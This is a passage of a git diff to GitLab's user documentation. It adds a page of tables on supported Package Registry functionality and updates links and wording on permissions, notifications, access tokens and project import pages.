delete the oldest assets once the limit is reached. Unique filenames, such as those produced by Maven snapshots, are not considered when evaluating the number of duplicated assets to keep.
+ `Number of duplicated assets to keep` has a [fixed cadence of 12 hours](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/packages/cleanup/policy.rb).
+
### Set cleanup limits to conserve resources
A background process executes the package-cleanup policies. This process can take a long time to finish and consumes
diff --git a/doc/user/packages/package_registry/supported_functionality.md b/doc/user/packages/package_registry/supported_functionality.md
new file mode 100644
index 00000000000..e56ae88872a
--- /dev/null
+++ b/doc/user/packages/package_registry/supported_functionality.md
@@ -0,0 +1,146 @@
+---
+stage: Package
+group: Package Registry
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Supported package functionality
+
+The GitLab Package Registry supports different functionalities for each package type. This support includes publishing
+and pulling packages, request forwarding, managing duplicates, and authentication.
+
+## Publishing packages **(FREE)**
+
+Packages can be published to your project, group, or instance.
+
+| Package type | Project | Group | Instance |
+|-----------------------------------------------------|---------|-------|----------|
+| [Maven](../maven_repository/index.md) | Y | N | N |
+| [npm](../npm_registry/index.md) | Y | N | N |
+| [NuGet](../nuget_repository/index.md) | Y | N | N |
+| [PyPI](../pypi_repository/index.md) | Y | N | N |
+| [Generic packages](../generic_packages/index.md) | Y | N | N |
+| [Terraform](../terraform_module_registry/index.md) | Y | N | N |
+| [Composer](../composer_repository/index.md) | N | Y | N |
+| [Conan](../conan_repository/index.md) | Y | N | N |
+| [Helm](../helm_repository/index.md) | Y | N | N |
+| [Debian](../debian_repository/index.md) | Y | N | N |
+| [Go](../go_proxy/index.md) | Y | N | Y |
+| [Ruby gems](../rubygems_registry/index.md) | Y | N | N |
+
+## Pulling packages **(FREE)**
+
+Packages can be pulled from your project, group, or instance.
+
+| Package type | Project | Group | Instance |
+|-----------------------------------------------------|---------|-------|----------|
+| [Maven](../maven_repository/index.md) | Y | Y | Y |
+| [npm](../npm_registry/index.md) | Y | Y | Y |
+| [NuGet](../nuget_repository/index.md) | Y | Y | N |
+| [PyPI](../pypi_repository/index.md) | Y | Y | N |
+| [Generic packages](../generic_packages/index.md) | Y | N | N |
+| [Terraform](../terraform_module_registry/index.md) | N | Y | N |
+| [Composer](../composer_repository/index.md) | Y | Y | N |
+| [Conan](../conan_repository/index.md) | Y | N | Y |
+| [Helm](../helm_repository/index.md) | Y | N | N |
+| [Debian](../debian_repository/index.md) | Y | N | N |
+| [Go](../go_proxy/index.md) | Y | N | Y |
+| [Ruby gems](../rubygems_registry/index.md) | Y | N | N |
+
+## Forwarding requests **(PREMIUM)**
+
+Requests for packages not found in your GitLab project are forwarded to the public registry. For example, Maven Central, npmjs, or PyPI.
+
+| Package type | Supports request forwarding |
+|-----------------------------------------------------|-----------------------------|
+| [Maven](../maven_repository/index.md) | Y |
+| [npm](../npm_registry/index.md) | Y |
+| [NuGet](../nuget_repository/index.md) | N |
+| [PyPI](../pypi_repository/index.md) | Y |
+| [Generic packages](../generic_packages/index.md) | N |
+| [Terraform](../terraform_module_registry/index.md) | N |
+| [Composer](../composer_repository/index.md) | N |
+| [Conan](../conan_repository/index.md) | N |
+| [Helm](../helm_repository/index.md) | N |
+| [Debian](../debian_repository/index.md) | N |
+| [Go](../go_proxy/index.md) | N |
+| [Ruby gems](../rubygems_registry/index.md) | N |
+
+## Allow or prevent duplicates **(FREE)**
+
+By default, the GitLab package registry either allows or prevents duplicates based on the default of that specific package manager format.
+
+| Package type | Duplicates allowed? |
+|-----------------------------------------------------|---------------------|
+| [Maven](../maven_repository/index.md) | Y (configurable) |
+| [npm](../npm_registry/index.md) | N |
+| [NuGet](../nuget_repository/index.md) | Y |
+| [PyPI](../pypi_repository/index.md) | N |
+| [Generic packages](../generic_packages/index.md) | Y (configurable) |
+| [Terraform](../terraform_module_registry/index.md) | N |
+| [Composer](../composer_repository/index.md) | N |
+| [Conan](../conan_repository/index.md) | N |
+| [Helm](../helm_repository/index.md) | Y |
+| [Debian](../debian_repository/index.md) | Y |
+| [Go](../go_proxy/index.md) | N |
+| [Ruby gems](../rubygems_registry/index.md) | Y |
+
+## Authentication tokens **(FREE)**
+
+GitLab tokens are used to authenticate with the GitLab Package Registry.
+
+The following tokens are supported:
+
+| Package type | Supported tokens |
+|-----------------------------------------------------|------------------------------------------------------------------------|
+| [Maven](../maven_repository/index.md) | Personal access, job tokens, deploy (project or group), project access |
+| [npm](../npm_registry/index.md) | Personal access, job tokens, deploy (project or group), project access |
+| [NuGet](../nuget_repository/index.md) | Personal access, job tokens, deploy (project or group), project access |
+| [PyPI](../pypi_repository/index.md) | Personal access, job tokens, deploy (project or group), project access |
+| [Generic packages](../generic_packages/index.md) | Personal access, job tokens, deploy (project or group), project access |
+| [Terraform](../terraform_module_registry/index.md) | Personal access, job tokens, deploy (project or group), project access |
+| [Composer](../composer_repository/index.md) | Personal access, job tokens, deploy (project or group), project access |
+| [Conan](../conan_repository/index.md) | Personal access, job tokens, project access |
+| [Helm](../helm_repository/index.md) | Personal access, job tokens, deploy (project or group) |
+| [Debian](../debian_repository/index.md) | Personal access, job tokens, deploy (project or group) |
+| [Go](../go_proxy/index.md) | Personal access, job tokens, project access |
+| [Ruby gems](../rubygems_registry/index.md) | Personal access, job tokens, deploy (project or group) |
+
+## Authentication protocols **(FREE)**
+
+The following authentication protocols are supported:
+
+| Package type | Supported auth protocols |
+|-----------------------------------------------------|--------------------------|
+| [Maven](../maven_repository/index.md) | Headers |
+| [npm](../npm_registry/index.md) | OAuth |
+| [NuGet](../nuget_repository/index.md) | Basic auth |
+| [PyPI](../pypi_repository/index.md) | Basic auth |
+| [Generic packages](../generic_packages/index.md) | Basic auth |
+| [Terraform](../terraform_module_registry/index.md) | Token |
+| [Composer](../composer_repository/index.md) | OAuth |
+| [Conan](../conan_repository/index.md) | OAuth, Basic auth |
+| [Helm](../helm_repository/index.md) | Basic auth |
+| [Debian](../debian_repository/index.md) | Basic auth |
+| [Go](../go_proxy/index.md) | Basic auth |
+| [Ruby gems](../rubygems_registry/index.md) | Token |
+
+## Supported hash types **(FREE)**
+
+Hash values are used to ensure you are using the correct package. You can view these values in the user interface or with the [API](../../../api/packages.md).
+
+The Package Registry supports the following hash types:
+
+| Package type | Supported hashes |
+|--------------------------------------------------|----------------------------------|
+| [Maven](../maven_repository/index.md) | MD5, SHA1 |
+| [npm](../npm_registry/index.md) | SHA1 |
+| [NuGet](../nuget_repository/index.md) | not applicable |
+| [PyPI](../pypi_repository/index.md) | MD5, SHA256 |
+| [Generic packages](../generic_packages/index.md) | SHA256 |
+| [Composer](../composer_repository/index.md) | not applicable |
+| [Conan](../conan_repository/index.md) | MD5, SHA1 |
+| [Helm](../helm_repository/index.md) | not applicable |
+| [Debian](../debian_repository/index.md) | MD5, SHA1, SHA256 |
+| [Go](../go_proxy/index.md) | MD5, SHA1, SHA256 |
+| [Ruby gems](../rubygems_registry/index.md) | MD5, SHA1, SHA256 (gemspec only) |
diff --git a/doc/user/packages/package_registry/supported_hash_types.md b/doc/user/packages/package_registry/supported_hash_types.md
index 6d7dbf87468..d39b8d60c93 100644
--- a/doc/user/packages/package_registry/supported_hash_types.md
+++ b/doc/user/packages/package_registry/supported_hash_types.md
@@ -1,25 +1,11 @@
---
-stage: Package
-group: Package Registry
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+redirect_to: 'supported_functionality.md'
+remove_date: '2023-04-22'
---
-# Supported hash types **(FREE)**
+This document was moved to [another location](supported_functionality.md).
-Hash values are used to ensure you are using the correct package. You can view these values in the user interface or with the [API](../../../api/packages.md).
-
-The Package Registry supports the following hash types:
-
-| Package type | Supported hashes |
-|--------------------------------------------------|----------------------------------|
-| [Maven](../maven_repository/index.md) | MD5, SHA1 |
-| [npm](../npm_registry/index.md) | SHA1 |
-| [NuGet](../nuget_repository/index.md) | not applicable |
-| [PyPI](../pypi_repository/index.md) | MD5, SHA256 |
-| [Generic packages](../generic_packages/index.md) | SHA256 |
-| [Composer](../composer_repository/index.md) | not applicable |
-| [Conan](../conan_repository/index.md) | MD5, SHA1 |
-| [Helm](../helm_repository/index.md) | not applicable |
-| [Debian](../debian_repository/index.md) | MD5, SHA1, SHA256 |
-| [Go](../go_proxy/index.md) | MD5, SHA1, SHA256 |
-| [Ruby gems](../rubygems_registry/index.md) | MD5, SHA1, SHA256 (gemspec only) |
+<!-- This redirect file can be deleted after <2023-04-22>. -->
+<!-- Redirects that point to other docs in the same project expire in three months. -->
+<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html -->
diff --git a/doc/user/permissions.md b/doc/user/permissions.md
index f3702b848fa..8455db45030 100644
--- a/doc/user/permissions.md
+++ b/doc/user/permissions.md
@@ -71,7 +71,7 @@ The following table lists project permissions available for each role:
| [Application security](application_security/index.md):<br>Create or assign [security policy project](application_security/policies/index.md) | | | | | ✓ |
| [Clusters](infrastructure/clusters/index.md):<br>View clusters | | | ✓ | ✓ | ✓ |
| [Clusters](infrastructure/clusters/index.md):<br>Manage clusters | | | | ✓ | ✓ |
-| [Container Registry](packages/container_registry/index.md):<br>Create, edit, delete [cleanup policies](packages/container_registry/index.md#delete-images-by-using-a-cleanup-policy) | | | | ✓ | ✓ |
+| [Container Registry](packages/container_registry/index.md):<br>Create, edit, delete [cleanup policies](packages/container_registry/delete_container_registry_images.md#use-a-cleanup-policy) | | | | ✓ | ✓ |
| [Container Registry](packages/container_registry/index.md):<br>Push an image to the Container Registry | | | ✓ | ✓ | ✓ |
| [Container Registry](packages/container_registry/index.md):<br>Pull an image from the Container Registry | ✓ (*19*) | ✓ (*19*) | ✓ | ✓ | ✓ |
| [Container Registry](packages/container_registry/index.md):<br>Remove a Container Registry image | | | ✓ | ✓ | ✓ |
@@ -222,8 +222,8 @@ The following table lists project permissions available for each role:
1. On self-managed GitLab instances, guest users are able to perform this action only on
public and internal projects (not on private projects). [External users](admin_area/external_users.md)
- must be given explicit access even if the project is internal. For GitLab.com, see the
- [GitLab.com visibility settings](gitlab_com/index.md#visibility-settings).
+ must be given explicit access even if the project is internal. Users with the Guest role on GitLab.com are
+ only able to perform this action on public projects because internal visibility is not available.
2. Guest users can only view the [confidential issues](project/issues/confidential_issues.md) they created themselves or are assigned to.
3. Not allowed for Guest, Reporter, Developer, Maintainer, or Owner. See [protected branches](project/protected_branches.md).
4. If the [branch is protected](project/protected_branches.md), this depends on the access given to Developers and Maintainers.
@@ -236,7 +236,7 @@ The following table lists project permissions available for each role:
10. Users can only view events based on their individual actions.
11. Project access tokens are supported for self-managed instances on Free and above. They are also
supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)).
-12. If the [tag is protected](#release-permissions-with-protected-tags), this depends on the access given to Developers and Maintainers.
+12. If the [tag is protected](project/protected_tags.md), this depends on the access given to Developers and Maintainers.
13. A Maintainer or Owner can't change project features visibility level if
[project visibility](public_access.md) is set to private.
14. Attached design files are moved together with the issue even if the user doesn't have the
@@ -276,7 +276,7 @@ More details about the permissions for some project-level features follow.
| View pipeline details page | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ |
| View pipelines page | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ |
| View pipelines tab in MR | ✓ (*3*) | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
-| [View vulnerabilities in a pipeline](application_security/vulnerability_report/pipeline.md#view-vulnerabilities-in-a-pipeline) | | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ |
+| [View vulnerabilities in a pipeline](application_security/vulnerability_report/pipeline.md#view-vulnerabilities-in-a-pipeline) | | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ |
| View and download project-level [Secure Files](../api/secure_files.md) | | | | ✓ | ✓ | ✓ |
| Cancel and retry jobs | | | | ✓ | ✓ | ✓ |
| Create new [environments](../ci/environments/index.md) | | | | ✓ | ✓ | ✓ |
@@ -284,7 +284,7 @@ More details about the permissions for some project-level features follow.
| Run CI/CD pipeline | | | | ✓ | ✓ | ✓ |
| Run CI/CD pipeline for a protected branch | | | | ✓ (*5*) | ✓ (*5*) | ✓ |
| Stop [environments](../ci/environments/index.md) | | | | ✓ | ✓ | ✓ |
-| View a job with [debug logging](../ci/variables/index.md#debug-logging) | | | | ✓ | ✓ | ✓ |
+| View a job with [debug logging](../ci/variables/index.md#enable-debug-logging) | | | | ✓ | ✓ | ✓ |
| Use pipeline editor | | | | ✓ | ✓ | ✓ |
| Run [interactive web terminals](../ci/interactive_web_terminal/index.md) | | | | ✓ | ✓ | ✓ |
| Add specific runners to project | | | | | ✓ | ✓ |
@@ -332,24 +332,6 @@ This table shows granted privileges for jobs triggered by specific types of user
1. Only if the triggering user is not an external one.
1. Only if the triggering user is a member of the project. See also [Usage of private Docker images with `if-not-present` pull policy](http://docs.gitlabl.com/runner/security/index.html#usage-of-private-docker-images-with-if-not-present-pull-policy).
-### File Locking permissions **(PREMIUM)**
-
-The user that locks a file or directory is the only one that can edit and push their changes back to the repository where the locked objects are located.
-
-Read through the documentation on [permissions for File Locking](project/file_lock.md#permissions) to learn more.
-
-### Confidential Issues permissions
-
-[Confidential issues](project/issues/confidential_issues.md) can be accessed by users with reporter and higher permission levels,
-as well as by guest users that create a confidential issue or are assigned to it. To learn more,
-read through the documentation on [permissions and access to confidential issues](project/issues/confidential_issues.md#permissions-and-access-to-confidential-issues).
-
-### Container Registry visibility permissions
-
-The ability to view the Container Registry and pull images is controlled by the Container Registry's
-visibility permissions. Find these permissions for the Container Registry as described in the
-[related documentation](packages/container_registry/index.md#container-registry-visibility-permissions).
-
## Group members permissions
Any user can remove themselves from a group, unless they are the last Owner of
@@ -448,13 +430,13 @@ To learn more, read through the documentation on
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40942) in GitLab 13.4.
-Owners can add members with a "minimal access" role to a parent group. Such users don't automatically have access to
+Owners can add members with a "minimal access" role to a root group. Such users don't automatically have access to
projects and subgroups underneath. Owners must explicitly add these "minimal access" users to the specific subgroups and
projects.
You can use minimal access to give the same member more than one role in a group:
-1. Add the member to the parent group with a minimal access role.
+1. Add the member to the root group with a minimal access role.
1. Invite the member as a direct member with a specific role in any subgroup or project in that group.
Because of an [outstanding issue](https://gitlab.com/gitlab-org/gitlab/-/issues/267996), when minimal access users:
@@ -470,20 +452,15 @@ Users with even a "minimal access" role are counted against your number of licen
requirement does not apply for [GitLab Ultimate](https://about.gitlab.com/pricing/)
subscriptions.
-## Release permissions with protected tags
-
-[The permission to create tags](project/protected_tags.md) is used to define if a user can
-create, edit, and delete [Releases](project/releases/index.md).
-
-See [Release permissions](project/releases/index.md#release-permissions)
-for more information.
-
## Related topics
- [The GitLab principles behind permissions](https://about.gitlab.com/handbook/product/gitlab-the-product/#permissions-in-gitlab)
- [Members](project/members/index.md)
- Customize permissions on [protected branches](project/protected_branches.md)
-- [LDAP users permissions](group/access_and_permissions.md#manage-group-memberships-via-ldap)
+- [LDAP user permissions](group/access_and_permissions.md#manage-group-memberships-via-ldap)
- [Value stream analytics permissions](analytics/value_stream_analytics.md#access-permissions-for-value-stream-analytics)
- [Project aliases](../user/project/import/index.md#project-aliases)
- [Auditor users](../administration/auditor_users.md)
+- [Confidential issues](project/issues/confidential_issues.md)
+- [Container Registry permissions](packages/container_registry/index.md#container-registry-visibility-permissions)
+- [Release permissions](project/releases/index.md#release-permissions)
diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md
index 39826bf59c4..5f23f50f439 100644
--- a/doc/user/profile/account/two_factor_authentication.md
+++ b/doc/user/profile/account/two_factor_authentication.md
@@ -444,7 +444,7 @@ This error occurs in the following scenarios:
password. For 2FA-enabled users, a [personal access token](../personal_access_tokens.md) (PAT)
must be used instead of a password. To authenticate:
- Git requests over HTTP(S), a PAT with `read_repository` or `write_repository` scope is required.
- - [GitLab Container Registry](../../packages/container_registry/index.md#authenticate-with-the-container-registry) requests, a PAT
+ - [GitLab Container Registry](../../packages/container_registry/authenticate_with_container_registry.md) requests, a PAT
with `read_registry` or `write_registry` scope is required.
- [Dependency Proxy](../../packages/dependency_proxy/index.md#authenticate-with-the-dependency-proxy) requests, a PAT with
`read_registry` and `write_registry` scopes is required.
diff --git a/doc/user/profile/contributions_calendar.md b/doc/user/profile/contributions_calendar.md
index d66e555970a..49e6319aa12 100644
--- a/doc/user/profile/contributions_calendar.md
+++ b/doc/user/profile/contributions_calendar.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
type: concepts, howto
---
diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md
index d6c5bd6c108..f178a3254f3 100644
--- a/doc/user/profile/index.md
+++ b/doc/user/profile/index.md
@@ -75,7 +75,9 @@ The following is hidden from your user profile page (`https://gitlab.example.com
- Tabs for activity, groups, contributed projects, personal projects, starred projects, snippets
NOTE:
-Making your user profile page private does not hide all your public resources from the REST or GraphQL APIs.
+Making your user profile page private does not hide all your public resources from
+the REST or GraphQL APIs. For example, the email address associated with your commit
+signature is accessible unless you [use an automatically-generated private commit email](#use-an-automatically-generated-private-commit-email).
### User visibility
@@ -85,7 +87,7 @@ not.
When visiting the public page of a user, you can only see the projects which you have privileges to.
If the [public level is restricted](../admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels),
-user profiles are only visible to signed-in users.
+user profiles are only visible to authenticated users.
## Add details to your profile with a README
@@ -389,7 +391,7 @@ Without the `config.extend_remember_period` flag, you would be forced to sign in
- Receive emails for:
- [Sign-ins from unknown IP addresses or devices](notifications.md#notifications-for-unknown-sign-ins)
- [Attempted sign-ins using wrong two-factor authentication codes](notifications.md#notifications-for-attempted-sign-in-using-wrong-two-factor-authentication-codes)
-- Manage applications that can [use GitLab as an OAuth provider](../../integration/oauth_provider.md#introduction-to-oauth)
+- Manage applications that can [use GitLab as an OAuth provider](../../integration/oauth_provider.md)
- Manage [personal access tokens](personal_access_tokens.md) to access your account via API and authorized applications
- Manage [SSH keys](../ssh.md) to access your account via SSH
- Change your [syntax highlighting theme](preferences.md#syntax-highlighting-theme)
diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md
index d0a420a4bbd..7343aea8ce7 100644
--- a/doc/user/profile/notifications.md
+++ b/doc/user/profile/notifications.md
@@ -248,40 +248,37 @@ enabled a feature flag for [moved sidebar actions](../project/merge_requests/ind
The following table presents the events that generate notifications for issues, merge requests, and
epics:
-| Event | Sent to |
-|------------------------|---------|
-| Change milestone issue | Subscribers and participants mentioned. |
-| Change milestone merge request | Subscribers and participants mentioned. |
-| Close epic | |
-| Close issue | |
-| Close merge request | |
-| Failed pipeline | The author of the pipeline. |
-| Fixed pipeline | The author of the pipeline. Enabled by default. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1._ |
-| Issue due | Participants and Custom notification level with this event selected. |
-| Merge merge request | |
-| Merge when pipeline succeeds | Author, Participants, Watchers, Subscribers, and Custom notification level with this event selected. Custom notification level is ignored for Author, Watchers and Subscribers. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4._ |
-| Merge request [marked as ready](../project/merge_requests/drafts.md) | Watchers and participants. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15332) in GitLab 13.10._ |
-| New epic | |
-| New issue | |
-| New merge request | |
-| New note | Participants, Watchers, Subscribers, and Custom notification level with this event selected. Also anyone mentioned by username in the comment, with notification level "Mention" or higher. |
-| Push to merge request | Participants and Custom notification level with this event selected. |
-| Reassign issue | Participants, Watchers, Subscribers, Custom notification level with this event selected, and the old assignee. |
-| Reassign merge request | Participants, Watchers, Subscribers, Custom notification level with this event selected, and the old assignee. |
-| Remove milestone issue | Subscribers and participants mentioned. |
-| Remove milestone merge request | Subscribers and participants mentioned. |
-| Reopen epic | |
-| Reopen issue | |
-| Reopen merge request | |
-| Successful pipeline | The author of the pipeline, with Custom notification level for successful pipelines. If the pipeline failed previously, a "Fixed pipeline" message is sent for the first successful pipeline after the failure, and then a "Successful pipeline" message for any further successful pipelines. |
-
-If the title or description of an issue or merge request is
-changed, notifications are sent to any **new** mentions by username as
-if they had been mentioned in the original text.
-
-If an open merge request becomes unmergeable due to conflict, its author is notified about the cause.
-If a user has also set the merge request to automatically merge when pipeline succeeds,
-then that user is also notified.
+| Type | Event | Sent to |
+|------|-------|---------|
+| Epic | Closed | Subscribers and participants. |
+| Epic | New | Anyone mentioned by username in the description, with notification level "Mention" or higher. |
+| Epic | New note | Participants, Watchers, Subscribers, and Custom notification level with this event selected. Also anyone mentioned by username in the comment, with notification level "Mention" or higher. |
+| Epic | Reopened | Subscribers and participants. |
+| Issue | Closed | Subscribers and participants. |
+| Issue | Due | Participants and Custom notification level with this event selected. |
+| Issue | Milestone changed | Subscribers and participants. |
+| Issue | Milestone removed | Subscribers and participants. |
+| Issue | New | Anyone mentioned by username in the description, with notification level "Mention" or higher. |
+| Issue | New note | Participants, Watchers, Subscribers, and Custom notification level with this event selected. Also anyone mentioned by username in the comment, with notification level "Mention" or higher. |
+| Issue | Title or description changed | Any new mentions by username. |
+| Issue | Reassigned | Participants, Watchers, Subscribers, Custom notification level with this event selected, and the old assignee. |
+| Issue | Reopened | Subscribers and participants. |
+| Merge Request | Closed | Subscribers and participants. |
+| Merge Request | Conflict | Author and any user that has set the merge request to automatically merge when pipeline succeeds. |
+| Merge Request | [Marked as ready](../project/merge_requests/drafts.md) | Watchers and participants. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15332) in GitLab 13.10._ |
+| Merge Request | Merged | Subscribers and participants. |
+| Merge Request | Merged when pipeline succeeds | Author, Participants, Watchers, Subscribers, and Custom notification level with this event selected. Custom notification level is ignored for Author, Watchers and Subscribers. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4._ |
+| Merge Request | Milestone changed | Subscribers and participants. |
+| Merge Request | Milestone removed | Subscribers and participants. |
+| Merge Request | New | Anyone mentioned by username in the description, with notification level "Mention" or higher. |
+| Merge Request | New note | Participants, Watchers, Subscribers, and Custom notification level with this event selected. Also anyone mentioned by username in the comment, with notification level "Mention" or higher. |
+| Merge Request | Pushed | Participants and Custom notification level with this event selected. |
+| Merge Request | Reassigned | Participants, Watchers, Subscribers, Custom notification level with this event selected, and the old assignee. |
+| Merge Request | Reopened | Subscribers and participants. |
+| Merge Request | Title or description changed | Any new mentions by username. |
+| Pipeline | Failed | The author of the pipeline. |
+| Pipeline | Fixed | The author of the pipeline. Enabled by default. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1._ |
+| Pipeline | Successful | The author of the pipeline, with Custom notification level for successful pipelines. If the pipeline failed previously, a "Fixed pipeline" message is sent for the first successful pipeline after the failure, and then a "Successful pipeline" message for any further successful pipelines. |
By default, you don't receive notifications for issues, merge requests, or epics created by yourself.
To always receive notifications on your own issues, merge requests, and so on, turn on
diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md
index 507ad6378bc..90def3aa773 100644
--- a/doc/user/profile/personal_access_tokens.md
+++ b/doc/user/profile/personal_access_tokens.md
@@ -31,7 +31,7 @@ Personal access tokens are:
- Required when [two-factor authentication (2FA)](account/two_factor_authentication.md) is enabled.
- Used with a GitLab username to authenticate with GitLab features that require usernames. For example,
[GitLab-managed Terraform state backend](../infrastructure/iac/terraform_state.md#use-your-gitlab-backend-as-a-remote-data-source)
- and [Docker container registry](../packages/container_registry/index.md#authenticate-with-the-container-registry),
+ and [Docker container registry](../packages/container_registry/authenticate_with_container_registry.md),
- Similar to [project access tokens](../project/settings/project_access_tokens.md) and [group access tokens](../group/settings/group_access_tokens.md), but are attached
to a user rather than a project or group.
@@ -115,6 +115,7 @@ A personal access token can perform actions based on the assigned scopes.
| `read_registry` | Grants read-only (pull) access to a [Container Registry](../packages/container_registry/index.md) images if a project is private and authorization is required. Available only when the Container Registry is enabled. |
| `write_registry` | Grants read-write (push) access to a [Container Registry](../packages/container_registry/index.md) images if a project is private and authorization is required. Available only when the Container Registry is enabled. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28958) in GitLab 12.10.) |
| `sudo` | Grants permission to perform API actions as any user in the system, when authenticated as an administrator. |
+| `admin_mode` | Grants permission to perform API actions as an administrator, when Admin Mode is enabled. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107875) in GitLab 15.8.) |
## When personal access tokens expire
diff --git a/doc/user/project/clusters/deploy_to_cluster.md b/doc/user/project/clusters/deploy_to_cluster.md
index 65e4a5d9fde..6e188a4923b 100644
--- a/doc/user/project/clusters/deploy_to_cluster.md
+++ b/doc/user/project/clusters/deploy_to_cluster.md
@@ -21,7 +21,7 @@ A Kubernetes cluster can be the destination for a deployment job. If
the cluster from your jobs using tools such as `kubectl` or `helm`.
- You don't use the GitLab cluster integration, you can still deploy to your
cluster. However, you must configure Kubernetes tools yourself
- using [CI/CD variables](../../../ci/variables/index.md#custom-cicd-variables)
+ using [CI/CD variables](../../../ci/variables/index.md#for-a-project)
before you can interact with the cluster from your jobs.
## Deployment variables
@@ -43,7 +43,7 @@ following command in your deployment job script, for Kubernetes to access the re
```
The Kubernetes cluster integration exposes these
-[deployment variables](../../../ci/variables/index.md#deployment-variables) in the
+[deployment variables](../../../ci/variables/predefined_variables.md#deployment-variables) in the
GitLab CI/CD build environment to deployment jobs. Deployment jobs have
[defined a target environment](../../../ci/environments/index.md).
diff --git a/doc/user/project/clusters/multiple_kubernetes_clusters.md b/doc/user/project/clusters/multiple_kubernetes_clusters.md
index 95d3bf6e121..c79f250da7a 100644
--- a/doc/user/project/clusters/multiple_kubernetes_clusters.md
+++ b/doc/user/project/clusters/multiple_kubernetes_clusters.md
@@ -26,7 +26,7 @@ differentiates the new cluster from the rest.
When adding more than one Kubernetes cluster to your project, you need to differentiate
them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the
-[environment-specific CI/CD variables](../../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) work.
+[environment-specific CI/CD variables](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) work.
The default environment scope is `*`, which means all jobs, regardless of their
environment, use that cluster. Each scope can be used only by a single cluster
diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md
index aeeacd495a7..641dff2766e 100644
--- a/doc/user/project/code_owners.md
+++ b/doc/user/project/code_owners.md
@@ -324,7 +324,7 @@ README.md @docs
A Code Owner approval rule is optional if any of these conditions are true:
-- The user or group are not a member of the project or parent group.
+- The user or group are not a member of the project. Code Owners [cannot inherit from parent groups](https://gitlab.com/gitlab-org/gitlab/-/issues/288851/).
- [Code Owner approval on a protected branch](protected_branches.md#require-code-owner-approval-on-a-protected-branch) has not been set up.
- The section is [marked as optional](#make-a-code-owners-section-optional).
diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md
index 56bb899c233..e87c5f57fc1 100644
--- a/doc/user/project/deploy_keys/index.md
+++ b/doc/user/project/deploy_keys/index.md
@@ -15,7 +15,7 @@ Depending on your needs, you might want to use a [deploy token](../deploy_tokens
|------------------|-------------|--------------|
| Sharing | Shareable between multiple projects, even those in different groups. | Belong to a project or group. |
| Source | Public SSH key generated on an external host. | Generated on your GitLab instance, and is provided to users only at creation time. |
-| Validity | Valid as long as it's registered and enabled. | Can be given an expiration date. |
+| Validity | Valid as long as it's registered and enabled, and the user that created it exists. | Can be given an expiration date. |
| Registry access | Cannot access a package registry. | Can read from and write to a package registry. |
Deploy keys can't be used for Git operations if [external authorization](../../admin_area/settings/external_authorization.md) is enabled.
diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md
index 98b46650b42..29d29c12536 100644
--- a/doc/user/project/import/bitbucket.md
+++ b/doc/user/project/import/bitbucket.md
@@ -31,11 +31,12 @@ When importing:
- Repository public access is retained. If a repository is private in Bitbucket, it's created as
private in GitLab as well.
-## Prerequisite for GitLab self-managed
+## Prerequisites
-To import your projects from Bitbucket Cloud, the [Bitbucket Cloud integration](../../../integration/bitbucket.md)
-must be enabled. If it isn't enabled, ask your GitLab administrator to enable it. By default it's
-enabled on GitLab.com.
+- [Bitbucket Cloud integration](../../../integration/bitbucket.md) must be enabled. If that integration is not enabled, ask your GitLab administrator
+ to enable it. The Bitbucket Cloud integration is enabled by default on GitLab.com.
+- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
## How it works
@@ -102,7 +103,7 @@ Bitbucket username after connecting their Bitbucket account in the
To fix this, the user must verify that their Bitbucket external UID in the GitLab database matches their
current Bitbucket public name, and reconnect if there's a mismatch:
-1. [Use the API to get the currently authenticated user](../../../api/users.md#for-normal-users-1).
+1. [Use the API to get the currently authenticated user](../../../api/users.md#for-non-administrator-users-1).
1. In the API response, the `identities` attribute contains the Bitbucket account that exists in
the GitLab database. If the `extern_uid` doesn't match the current Bitbucket public name, the
diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md
index d7fa1338c55..db2a1d956ab 100644
--- a/doc/user/project/import/bitbucket_server.md
+++ b/doc/user/project/import/bitbucket_server.md
@@ -24,10 +24,11 @@ created as private in GitLab as well.
